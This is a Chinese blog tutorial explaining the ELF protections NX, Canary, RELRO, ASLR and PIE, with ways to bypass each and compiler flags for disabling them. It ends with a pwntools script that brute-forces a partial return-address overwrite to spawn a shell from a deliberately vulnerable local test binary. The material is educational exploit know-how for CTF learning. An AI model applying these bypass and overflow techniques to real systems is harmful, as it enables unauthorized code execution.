【PWN学习】ELF保护机制

NX

防御机制

NX在windows中称为DEP。开启NX保护的程序中不能直接使用shellcode执行任意任意代码

栈溢出的核心在于修改了EIP的值,是程序跳转到shellcode上,从而远程执行命令。在利用的时候需要先写入一段获取shell的代码,然后在执行这一段代码,这就要求存储shellcode的内存区域需要同时拥有写入和执行的权限。而NX的保护机制就是将写入权限和执行权限割裂,可以写入的区域将作为数据段,可以写入,可以读,但是不能执行;而可以执行的代码段,可以读,可以执行,但是不能写入。这样一来就没办法通过写入shellcode获取shell了。

绕过方法

绕过方式就是利用ROP的方法,在代码段中寻在合适gadget,构造gadget链,最终实现获取shell。

编译参数

GCC默认开启NX保护,关闭方法是在编译时加入-z execstack参数。

execstack // 禁用NX保护
noexecstack // 开启NX保护

Canary

防御机制

Canary是针对栈溢出的一种防护机制。开启Canary的程序不能使用单纯的栈溢出

由于栈溢出攻击的主要目标是通过溢出覆盖函数栈高位的返回地址,因此其思路是在返回地址前写入一个字长的随机数据,在函数返回前校验该值是否被改变,如果被改变,则认为发生了栈溢出。

一个开启Canary后的典型汇编代码如下

main ();
    0x00000c66      55             push rbp
    0x00000c67      4889e5         mov rbp, rsp
    0x00000c6a      4883ec40       sub rsp, 0x40
    0x00000c6e      64488b042528.  mov rax, qword fs:[0x28]
    0x00000c77      488945f8       mov qword [var_8h], rax		; 填充随机数
    ...
    0x00000dfe      488b75f8       mov rsi, qword [var_8h]		; 查看随机数是否发生变化
    0x00000e02      644833342528.  xor rsi, qword fs:[0x28]
    0x00000e0b      7405           je 0xe12
    0x00000e0d      e88efbffff     call sym.imp.__stack_chk_fail
    0x00000e12      c9             leave
    0x00000e13      c3             ret

函数开头第四行第五行的两行代码,函数从fs:28h获取了一个数值,并将这个数值存入了栈中var_8h

函数结束时,从栈中取出var_8并与fs:28h中值作比较,若发生了栈溢出,则var_8的值会改变,因此调用sym.imp.__stack_chk_fail

绕过方法

从防御机制上分析,存在两个思路绕过Canary防护,

  • 获取填充的随机数:通过爆破、泄露等方法获取随机数,制造栈溢出的时候在原有位置写入随机数,从而实现Canary的绕过
  • 劫持sym.imp.__stack_chk_fail函数:若果可以劫持sym.imp.__stack_chk_fail函数,使得程序调用它时调用别的函数,就可以随意覆写Canary的值,而不会触发错误,实现Canary的绕过。

具体绕过及例题演示参考 Canary原理及绕过

编译参数

GCC默认开启Canary保护,具体参数如下

-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

RELRO

防御机制

RELRO(read only relocation)是一种用于加强对 binary 数据段的保护的技术,大概实现由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。开启后,劫持GOT表的攻击方式不能使用

RELRO 有no relro, partial relro 和 full relro三种情况。

  • No RELRO

    完全关闭RELRO。查看ELF的安全策略,可以发现RELRO项是No RELRO

root@kali:~/ctf/Other/pwn/CanaryTest# checksec test3
[*] '/root/ctf/Other/pwn/CanaryTest/test3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

此时查看GOT表的静态信息

[0x08049090]> iS
[Sections]
Nm Paddr       Size Vaddr      Memsz Perms Name
...
21 0x000022d8    16 0x0804b2d8    16 -rw- .got
22 0x000022e8    36 0x0804b2e8    36 -rw- .got.plt
...

利用gdb动态调试,可以看到.got.plt落在了第四个段中,该段是可读可写的

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r--p     1000 0      /root/ctf/Other/pwn/CanaryTest/test3
 0x8049000  0x804a000 r-xp     1000 1000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804a000  0x804b000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804b000  0x804c000 rw-p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
0xf7dcd000 0xf7dea000 r--p    1d000 0      /usr/lib/i386-linux-gnu/libc-2.31.so
  • Partial RELRO
    • gcc 默认编译时Partial RELRO
root@kali:~/ctf/Other/pwn/CanaryTest# checksec test3
[*] '/root/ctf/Other/pwn/CanaryTest/test3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

​ 查看段信息

[0x08049090]> iS
[Sections]
Nm Paddr       Size Vaddr      Memsz Perms Name
...
20 0x00002f08   232 0x0804bf08   232 -rw- .dynamic
21 0x00002ff0    16 0x0804bff0    16 -rw- .got
22 0x00003000    36 0x0804c000    36 -rw- .got.plt
23 0x00003024     8 0x0804c024     8 -rw- .data
24 0x0000302c     0 0x0804c02c     4 -rw- .bss
...

.got.got.plt都具有读写权限

查看内存信息

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r--p     1000 0      /root/ctf/Other/pwn/CanaryTest/test3
 0x8049000  0x804a000 r-xp     1000 1000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804a000  0x804b000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804b000  0x804c000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804c000  0x804d000 rw-p     1000 3000   /root/ctf/Other/pwn/CanaryTest/test3
...

发现.got.plt落入了第五个段中,该段具有读写权限

  • Full RELRO

    使用命令编译test3

    $ gcc test3.c -m32 -fstack-protector -no-pie -z noexecstack -z relro -z now -o test3
    

    查看安全策略

    root@kali:~/ctf/Other/pwn/CanaryTest# checksec test3
    [*] '/root/ctf/Other/pwn/CanaryTest/test3'
        Arch:     i386-32-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    查看段信息,发现只有一个.got,没有.got.plt,同时发现got标注的还是读写权限

    ...
    18 0x00002ecc     4 0x0804becc     4 -rw- .init_array
    19 0x00002ed0     4 0x0804bed0     4 -rw- .fini_array
    20 0x00002ed4   248 0x0804bed4   248 -rw- .dynamic
    21 0x00002fcc    52 0x0804bfcc    52 -rw- .got
    22 0x00003000     8 0x0804c000     8 -rw- .data
    23 0x00003008     0 0x0804c008     4 -rw- .bss
    ...
    

    但是利用gdb调试

    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     0x8048000  0x8049000 r--p     1000 0      /root/ctf/Other/pwn/CanaryTest/test3
     0x8049000  0x804a000 r-xp     1000 1000   /root/ctf/Other/pwn/CanaryTest/test3
     0x804a000  0x804b000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
     0x804b000  0x804c000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
     0x804c000  0x804d000 rw-p     1000 3000   /root/ctf/Other/pwn/CanaryTest/test3
    ...
    

    发现got表的地址段0x0804bfcc落在了第四个段中,第四个段的权限只有读,没有写。

ASLR

防御机制

ASLR (Address space layout randomization,地址空间布局随机化)是 Linux操作系统的功能选项,作用于程序(ELF)装入内存运行时。是一种针对缓冲区溢出的安全保护技术,通过对加载地址的随机化,防止攻击者直接定位攻击代码位置,到达阻止溢出攻击的一种技术。

分为三个级别

  • 0 :不开启任何随机化
  • 1 :开启stack和libraries随机化。开启PIE的情况下,executable base也会随机化。
  • 2 :开启heap随机化

查看ALSR级别

$ cat /proc/sys/kernel/randomize_va_space

绕过方法

开启ASLR之后,使用ldd命令多次运行同一个程序

root@kali:~/ctf/Other/pwn/CanaryTest# ldd test3
        linux-gate.so.1 (0xf7f09000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d05000)
        /lib/ld-linux.so.2 (0xf7f0a000)
root@kali:~/ctf/Other/pwn/CanaryTest# ldd test3
        linux-gate.so.1 (0xf7f1a000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d16000)
        /lib/ld-linux.so.2 (0xf7f1b000)
root@kali:~/ctf/Other/pwn/CanaryTest# ldd test3
        linux-gate.so.1 (0xf7f9b000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d97000)
        /lib/ld-linux.so.2 (0xf7f9c000)

可以发现libc每次的加载地址都是不一样的,因此无法直接获取libc基址,需要利用泄露libc基址的方法获取基址。

echo 0 > /proc/sys/kernel/randomize_va_space    //设置关闭 ALSR 机制,需要 root 用户进行操作

上述对 /proc/sys/kernel/randomize_va_space 的操作为针对系统的全局设置,需要 root 权限且存在弊端,用户可通过以下命令将当前终端 /bin/bash 的 ALSR 机制关闭,则通过该 shell 运行的程序均不会启动 ALSR 机制。该终端关闭后上述设置即失效。

setarch `uname -m` -R /bin/bash

PIE

防御机制

PIE 是 gcc 编译器的功能选项,作用于程序(ELF)编译过程中。是一个针对代码段( .text )、数据段( .data )、未初始化全局变量段( .bss )等固定地址的一个防护技术。ASLR 不负责代码段以及数据段的随机化工作,这项工作由 PIE 负责。但是只有在开启 ASLR 之后,PIE 才会生效。如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过 ROPgadget 等一些工具来帮助解题

绕过方法

虽然程序每次运行的基址会变,但程序中的各段的相对偏移是不会变的,只要泄露出来一个地址,比如函数栈帧中的返回地址,通过静态分析的获取偏移地址,就能算出基址,从而实现绕过。

下图左边是开启PIE的,右图是未开启PIE。
在这里插入图片描述

可以发现左边的程序地址只有低字节的几位,这就是当前指令到执行基址的偏移量。

方法一 Partial Write

应用程序是按页加载到内存中的,一个内存页大小为0x1000,开启PIE后单个内存页并不会受到影响,这就意味着不管基址怎么变,某一个内存页中的某一条指令的后三位十六进制数(低12位)的地址是始终不变的。因此我们可以通过覆盖地址的后几位来实现控制程序的流程。局部覆盖的局限是它仅仅影响一个内存页,覆盖地址范围仅从0x0 – 0xfff。

以下面的程序为例

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void)
{
    system("/bin/sh");
}

void vul(void)
{
    char buf[100];
    puts("Hello, Hacker!");
    read(0, buf, 200);
    //puts(buf);

}

int main(int argc, char *argv[])
{
    vul();
    return 0;
}

用下面的方式编译

gcc test.c -m32 -fno-stack-protector -z norelro -o test
  1. 查看安全策略
[*] '/root/ctf/Other/pwn/PIETest/test'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
  1. 查看函数和字符串

利用radare静态分析,发现存在可以利用的后门函数getshell在未开启PIE的情况下,是通过静态分析直接获取getshell的地址,然后通过栈溢出获取shell的。但是在开启PIE的情况下,没办法获取getshell的地址

[0x00001080]> afl
0x00001080    1 50           entry0
0x000010b2    1 4            fcn.000010b2
0x00001060    1 6            sym.imp.__libc_start_main
0x000010d0    4 57   -> 52   sym.deregister_tm_clones
0x000011b5    1 4            sym.__x86.get_pc_thunk.dx
0x00001110    4 71           sym.register_tm_clones
0x00001160    5 71           entry.fini0
0x000010c0    1 4            sym.__x86.get_pc_thunk.bx
0x000011b0    1 5            entry.init0
0x00001000    3 32           sym._init
0x000012b0    1 1            sym.__libc_csu_fini
0x000012b1    1 4            sym.__x86.get_pc_thunk.bp
0x000012b8    1 20           sym._fini
0x00001250    4 93           sym.__libc_csu_init
0x00001224    1 28           main
0x00001240    1 4            sym.__x86.get_pc_thunk.ax
0x000011e4    1 64           sym.vul
0x00001040    1 6            sym.imp.puts
0x00001030    1 6            sym.imp.read
0x000011b9    1 43           sym.getshell
0x00001050    1 6            sym.imp.system
  1. 找溢出点

main函数中read函数存在溢出点

...
|           0x00001268      68c8000000     push 0xc8
|           0x0000126d      8d4594         lea eax, dword [var_6ch]
|           0x00001270      50             push eax
|           0x00001271      6a00           push 0
|           0x00001273      e8c8fdffff     call sym.imp.read
...
  1. payload

在第二步的时候,我们知道getshell的后三位是1b9,所以需要对\x[0-f]1\xb9进行爆破,但是这题不存在循环,我们也无法控制返回地址,所以这里采用类似密码喷洒的方式,随便挑一个数,比如\x01\xb9,然后多次运行程序,直到成功获取shell

payload = b'a' * (0x6C + 0x4)
payload += b'\xb9' + b'\x01'
  1. write up
from pwn import *
count = 0
while count < 1000:
    print(count)
    count += 1
    conn = process('./openPIE')
    
    payload = b'a' * (0x6C + 0x4)
    payload += b'\xb9' + b'\x11'
    try:
        print(conn.recvuntil(b'Hacker!\n'))
        conn.send(payload)
        conn.recv(timeout=1)
    except Exception as e:
        print('\t failed')
        conn.close() 
    else: 
        sleep(0.1)
        print('success')
        conn.interactive()
        break
    sleep(0.1)

Reference

  1. https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/
  2. https://www.cnblogs.com/Spider-spiders/p/8798628.html
  3. https://blog.csdn.net/ylcangel/article/details/102625948
  4. https://blog.csdn.net/weixin_43921239/article/details/103813046
  5. https://www.cnblogs.com/yhjoker/p/9148092.html
  6. https://www.jianshu.com/p/728f2ef139ae
  7. https://www.cnblogs.com/ichunqiu/p/11350476.html
  • 2
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值